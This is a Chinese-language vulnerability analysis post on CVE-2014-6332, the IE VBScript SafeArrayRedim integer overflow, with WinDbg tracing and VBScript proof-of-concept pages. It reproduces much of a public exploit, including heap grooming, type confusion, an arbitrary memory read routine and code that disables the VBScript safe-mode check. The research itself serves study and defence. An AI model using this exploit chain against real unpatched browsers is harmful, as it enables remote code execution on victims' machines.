Internet Explorer漏洞分析(三)[下]——CVE-2014-6332
1.本文一共2158個字 39張圖 預計閱讀時間14分鐘
2.本文作者erfze 屬於Gcow安全團隊複眼小組 未經過許可禁止轉載
3.本篇文章是CVE-2014-6332漏洞的分析入手 詳細的闡述漏洞的成因以及如何去利用該漏洞
4.本篇文章十分適合漏洞安全研究人員進行交流學習
5.若文章中存在說得不清楚或者錯誤的地方 歡迎師傅到公眾號後臺留言中指出 感激不盡
0x01 漏洞資訊
0x01.1 漏洞簡述
編號:CVE-2014-6332
漏洞影響:遠端程式碼執行(RCE)
CVSS 2.0:9.3
oleaut32.dll
中SafeArrayRedim
在進行陣列重新定義時未對傳入引數psaboundNew
進行有效校驗,以致可以越界讀寫,進而造成任意程式碼執行。
0x01.2 漏洞影響
Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1
0x01.3 修復方案
[MS14-064]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-064
0x02 漏洞分析
0x02.1 分析環境
OS版本:Windows 7 Service Pack 1
Internet Explorer版本:8.0.7601.17514
oleaut32.dll版本:6.1.7601.17514
vbscript.dll版本:5.8.7601.17514
0x02.2 前置知識
請移步Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探。
0x02.3 詳細分析
分析所用POC如下:
<!doctype html>
<html>
<head>
</head>
<body>
<script LANGUAGE="VBScript">
On Error Resume Next
Dim arrayA()
Dim size
Dim over
size = &h5
over = &h8000000 + size
Redim Preserve arrayA(size)
Redim Preserve arrayA(over)
arrayA(size+1) = "Hello"
</script>
</body>
</html>
開啟該POC,使用WinDbg附加除錯,於vbscript!RedimPreserveArray
函式處設斷,允許阻止的內容:
執行到call oleaut32.dll!SafeArrayRedim
處,跟進分析:
首先是判斷傳入引數psa
與psaboundNew
均不為空:
之後對psa.fFeatures
,psa.cDims
及psa.cLocks
進行判斷:
call SafeArraySize
計算陣列元素佔用空間大小:
將psaboundNew
寫入psa.rgsabound
中:
調整後陣列:
計算調整後陣列元素佔用空間大小,減去原來陣列元素佔用空間大小:
由於此時ebx=80000000
,故執行結果為負數指令分支 :
ole32!CRetailMalloc_Alloc
函式用於為HeapAlloc
傳遞引數並呼叫之:
由於申請空間遠遠超過可分配空間大小,故分配失敗,直接跳轉到函式末返回錯誤值:
由此,便可實現任意地址讀寫。
下面來看看正常執行流程,修改POC如下:
<!doctype html>
<html>
<head>
</head>
<body>
<script LANGUAGE="VBScript">
On Error Resume Next
Dim arrayA()
Dim size
Dim over
size = &h6
resize = &h4
Redim Preserve arrayA(size)
arrayA(0)="Jane"
arrayA(5)="Alan"
Redim Preserve arrayA(resize)
IsEmpty(arrayA)
</script>
</body>
</html>
調整後陣列元素佔用空間大小-原來陣列元素佔用空間大小=0x50
-0x70
=ffffffe0
:
對其取相反數後申請如此大小空間:
之後將陣列多餘元素即arrayA(5)—arrayA(6)
複製到此空間內:
call ole32!CRetailMalloc_Realloc
重新分配堆塊:
總結:
SafeArrayRedim
函式在未重新分配空間之前便將psaboundNew
寫入psa.rgsabound
,用以傳遞給SafeArraySize
函式計算調整陣列元素大小
sub ebx, [ebp+Size]
及test ebx, ebx
兩條指令用於判斷調整陣列元素大小—原陣列元素大小與零的關係,小於零/大於等於零進入不同分支處理
neg [ebp+psaboundNew]
對調整陣列元素大小與原陣列元素大小差值取相反數,將其傳遞給HeapAlloc
函式分配相應大小堆塊
POC中&h8000000
(該值經過SafeArraySize
函式計算後為0x80000000)正是利用以上三點,實現任意地址讀寫——test ebx, ebx
與jge
組合進行有符號數比較,neg
對其取反仍為0x80000000。
0x02.4 利用分析
Exp來自[yuange]https://www.exploit-db.com/exploits/35229。
第一部分:
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
Exit For
End If
Next
end function
......
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
'0x6f66 & 0xFFFFBFFF=0x2f66
If(type1=&h2f66) then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
透過迴圈不斷重新定義陣列,擴大陣列規模,直至陣列aa
與ab
於記憶體中相鄰(準確 來說,二者相差8位元組):
ab(0)=1.123456789012345678901234567890
,該值轉換IEEE浮點數可透過[IEEE 754 Calculator]http://weitz.de/ieee/ 計算:
如此一來,可透過aa
陣列訪問ab
陣列元素(由ab
起始位置偏移8位元組)。type1=&h2f66
判斷是由於GetVarType
函式返回前會將vt
與0xFFFFBFFF
作與運算:
第二部分:
myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
.......
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
先來看i=testaa
操作——將函式賦值給變數。簡化版如下:
<!doctype html>
<html>
<head>
</head>
<body>
<script LANGUAGE="VBScript">
On Error Resume Next
sub testaa()
end sub
IsEmpty("Test")
i = testaa
i = null
</script>
</body>
</html>
於vbscript!VbsIsEmpty
斷下:
透過ba w 2 1dc9e68
與ba w 4 1dc9e68+8
兩條指令對棧頂設斷,第二次斷下時,修改vt
為0x4C
:
第三次斷下:
第四次斷下,更改vt
為0x01
(VT_NULL = 0x0001
):
但其仍儲存的是vbscript!CScriptEntryPoint
物件,其後賦值給i
。On Error Resume Next
在此處尤為重要,是否加入該語句執行情況對比:
未加入On Error Resume Next
語句最終會呼叫CSession::ReportError
:
而不會執行後續i = null
語句,感興趣的讀者可自行探索CScriptRuntime::RunNoEH
函式,不在這裡過多展開(該函式功能複雜,筆者僅是簡單跟蹤是否加入On Error Resume Next
語句的執行流):
開啟任意讀寫後執行aa(a1)=i
:
ab(0)=6.36598737437801E-314
:
aa(a1+2)=myarray
:
ab(2)=1.74088534731324E-310
:
關於此處的除錯可於vbscript!VbsIsEmpty
函式設斷,配合如下修改:
'isempty(ab)
ab(0)=0
aa(a1)=i
'isempty("1")
ab(0)=6.36598737437801E-314
'isempty("2")
aa(a1+2)=myarray
'isempty("3")
ab(2)=1.74088534731324E-310
'isempty("4")
第一次斷下後,可獲得陣列元素儲存位置:
mydata=aa(a1)
:
第三部分:
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
該函式功能用於讀取引數add
指向記憶體,關鍵函式是cbLengthBstr
(具體請參考Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探中的0x05 LenB函式一節)。ab(0)=1.69759663316747E-313
:
完成讀取:
第四部分:
function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+&h134) for k=0 to &h60 step 4 j=readmemo(i+&h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function
第一次讀取結果見上文圖片,i=readmemo(i+16)
第二次讀取:
該地址為vbscript!COleScript
物件:
透過迴圈於該物件偏移0x120
之後搜尋0x0E
,該值用於檢查是否處於SafeMode:
aa(a1+2)
儲存的是之前構造陣列物件——myarray
:
myarray
起始地址為0,rgsabound.cElements
為0x7fff0000
,故可讀寫vbscript!COleScript+0x170
處內容:
修改完成,進入GodMode,成功彈出notepad.exe。
0x03 參閱連結